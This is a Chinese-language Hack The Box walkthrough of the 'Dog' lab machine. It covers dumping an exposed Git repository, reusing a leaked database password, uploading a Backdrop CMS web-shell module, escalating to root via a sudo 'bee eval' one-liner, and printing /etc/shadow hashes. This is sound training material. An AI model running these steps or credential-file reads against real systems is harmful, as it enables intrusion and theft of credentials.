MANESEC on 2025-03-09
Recommand: Let's Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
https://www.hackthebox.com/achievement/machine/463126/651
首先利用 Nmap 工具進行端口掃描,發現該機器的 22 端口開放並運行 OpenSSH 8.2p1,80 端口則運行 Apache HTTPD 2.4.41,並且其上部署了 Backdrop CMS 1.27.1。進一步檢測發現該機器的網站根目錄中存在可訪問的 Git 儲存庫,這為後續的攻擊提供了契機。使用 git-dumper
工具成功下載了整個 Git 項目,並在 settings.php
文件中找到數據庫的賬號密碼,這使得進一步的攻擊成為可能。隨後,通過搜索關鍵字獲得了兩個用戶賬號,分別是 dog
和 tiffany
,進一步訪問 80 端口的網頁時,確定了該網站是基於 Backdrop CMS 架設的,並開始使用 BackDropScan 工具來探測其版本。獲得版本號後,查找相關的遠程代碼執行漏洞,並嘗試利用一個已知的漏洞生成反向 shell。成功登錄到後台後,利用獲得的數據庫密碼進行賬號爆破,最終使用 tiffany
賬號成功登錄,進入管理界面並上傳了包含惡意代碼的壓縮包,從而獲得了 Web Shell。隨後,利用該 Web Shell 獲取了系統用戶列表,並嘗試使用已知的密碼進行用戶登錄,最終成功以 johncusack
用戶身份登錄。進一步檢查該用戶的 sudo 權限後,發現其可以以 root 身份執行特定命令,利用此特權執行惡意代碼,最終成功獲得了 root 權限。
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEJsqBRTZaxqvLcuvWuqOclXU1uxwUJv98W1TfLTgTYqIBzWAqQR7Y6fXBOUS6FQ9xctARWGM3w3AeDw+MW0j+iH83gc9J4mTFTBP8bXMgRqS2MtoeNgKWozPoy6wQjuRSUammW772o8rsU2lFPq3fJCoPgiC7dR4qmrWvgp5TV8GuExl7WugH6/cTGrjoqezALwRlKsDgmAl6TkAaWbCC1rQ244m58ymadXaAx5I5NuvCxbVtw32/eEuyqu+bnW8V2SdTTtLCNOe1Tq0XJz3mG9rw8oFH+Mqr142h81jKzyPO/YrbqZi2GvOGF+PNxMg+4kWLQ559we+7mLIT7ms0esal5O6GqIVPax0K21+GblcyRBCCNkawzQCObo5rdvtELh0CPRkBkbOPo4CfXwd/DxMnijXzhR/lCLlb2bqYUMDxkfeMnmk8HRF+hbVQefbRC/+vWf61o2l0IFEr1IJo3BDtJy5m2IcWCeFX3ufk5Fme8LTzAsk6G9hROXnBZg8=
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM/NEdzq1MMEw7EsZsxWuDa+kSb+OmiGvYnPofRWZOOMhFgsGIWfg8KS4KiEUB2IjTtRovlVVot709BrZnCvU8Y=
| 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPMpkoATGAIWQVbEl67rFecNZySrzt944Y/hWAyq4dPc
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 22 disallowed entries
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
| /user/password /user/login /user/logout /?q=admin /?q=comment/reply
| /?q=filter/tips /?q=node/add /?q=search /?q=user/password
|_/?q=user/register /?q=user/login /?q=user/logout
|_http-favicon: Unknown favicon MD5: 3836E83A3E835A26D789DDA9E78C5510
|_http-title: Home | Dog
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-git:
| 10.10.11.58:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
從 nmap 的結果中可以看到:Git repository found!
也就是說 nmap 檢測到了 git 的項目:
所以可以使用 git-dumper
來獲取 git 的源代碼:
$ git-dumper http://dog.htb/.git save
獲取確實有點慢,等了一分鐘就載完了所有的文件:
其中在 settings.php
中有定義一串數據庫的賬號密碼:
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
有了密碼,嘗試找一下賬號,嘗試搜索關於 dog.htb
的關鍵字:
dog@dog.htb tiffany@dog.htb
結果獲得了兩個賬號。
訪問 80 端口出現:
在最底下看到是 Backdrop CMS
這個框架:
可以使用這個機器的作者製作的工具BackDropScan來掃描一下,首先先探測一下版本號:
$ python3 BackDropScan.py --url http://10.10.11.58 --version
可以看出來是 1.27.1
的版本,隨手看了一下源代碼是訪問 /core/profiles/testing/testing.info
獲得的版本號:
$ curl http://10.10.11.58/core/profiles/testing/testing.info
得到了版本號之後隨手掃描一下相關的 RCE :
看到了這一篇:https://www.exploit-db.com/exploits/52021
複製一下裏面的代碼運行一下:
$ python3 gen.py http://10.10.11.58
類似於安裝模塊然後獲得的 shell,就和 wordpress 安裝模塊差不多。
這樣就需要管理員賬號的權限,由於獲得了兩個賬號和一個數據庫的密碼,嘗試爆破下:
儅使用第一個賬號 dog
嘗試登錄的時候:
第一個賬號失敗了,就嘗試使用第二個賬號:
tiffany : BackDropJ2024DS2024
結果進去了後臺:
一眼看起來就有管理員權限,嘗試找到安裝模塊的地方:
根據 POC 的提示點擊 Manual installation
:
然後把 POC 製作的壓縮包上傳上去:
不過直接上傳會出現:
The specified file shell.zip could not be uploaded. Only files with the following extensions are allowed: tar tgz gz bz2. Unable to save downloaded project into the temporary directory.
原因是不支持上傳 zip
的格式,在POC生產的shell中也生成了一個目錄,所以嘗試把這個目錄進行打包:
$ tar -cf mane.tar.gz shell
再次上傳 tar.gz
的壓縮包格式:
結果提示成功:
這樣就得到了 webshell,根據 POC 的輸出只需要訪問:
http://10.10.11.58/modules/shell/shell.php
這樣就可以從這裏獲得 reverse shell。
獲得了 webshell 之後,嘗試查看該機器裏的用戶:
$ cat /etc/passwd | grep sh
由於一開始有密碼,所以我會嘗試每個用戶都爆破下,結果還真是 johncusack
的密碼:
su johncusack : BackDropJ2024DS2024
不過出現了 getcwd: cannot access parent directories: No such file or directory
是因爲當前是在 /var/www/html/module/shell
的目錄下,然而後臺定時清理任務刪掉了該目錄,所以 bash
嘗試獲取當前目錄的時候就出現上面的錯誤。
看一下 sudo -l
:
看到該用戶可以以 root 的身份去運行 bee
:
其中最讓我關心的是最下面有一個 eval
和 php-script
:
因爲從上面的説明就可以知道拿來濫用執行惡意代碼,然後也寫著 after bootstrapping Backdrop
,也就是說需要有一個 Backdrop 的網站才可以濫用,然後 --root
可以指定網站的位置,所以:
$ sudo /usr/local/bin/bee --root=/var/www/html eval 'system("bash")'
這樣就得到了root。
root@dog:~# cat /etc/shadow
root:$6$buHS/pADc6PYMPvf$XTArYbNF62hfC04MHiAhaXHeWdUblAeXNLc/SbN7baQRUfHgIhmklPJfj2u7HZp9qb6gpFyXVnicT4FvRJ4Nm/:20117:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news:*:19430:0:99999:7:::
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:19912:0:99999:7:::
sshd:*:19912:0:99999:7:::
systemd-coredump:!!:19912::::::
jobert:$6$9NZzmqUK4cJcMtd/$.CO/yezHu0S6cUZdPcd2QHfg3YVM7VUCMlHUvTCF.J7dMFB8sdNerBjIwe.l5YHZcXn2c0lkux5jI8eaC0B/x/:19950:0:99999:7:::
lxd:!:19912::::::
mysql:!:19912:0:99999:7:::
johncusack:$6$70rLgjVTNIxmr6zb$N2vsXuYZ7rug6ksshK5Jdwp0mUrQ.KvH3t73ycJe87QxNFw96GV.V/GEYWtzM/Cc..ISjhaleee5/uP29XZzM.:19950:0:99999:7:::
_laurel:!:20126::::::
Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 完成 INTRODUCTION TO ACADEMY
這個模塊后可以解鎖更多的功能!
Join HTB's academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
Copyright © 2016-2025 manesec. All rights (include theme) reserved.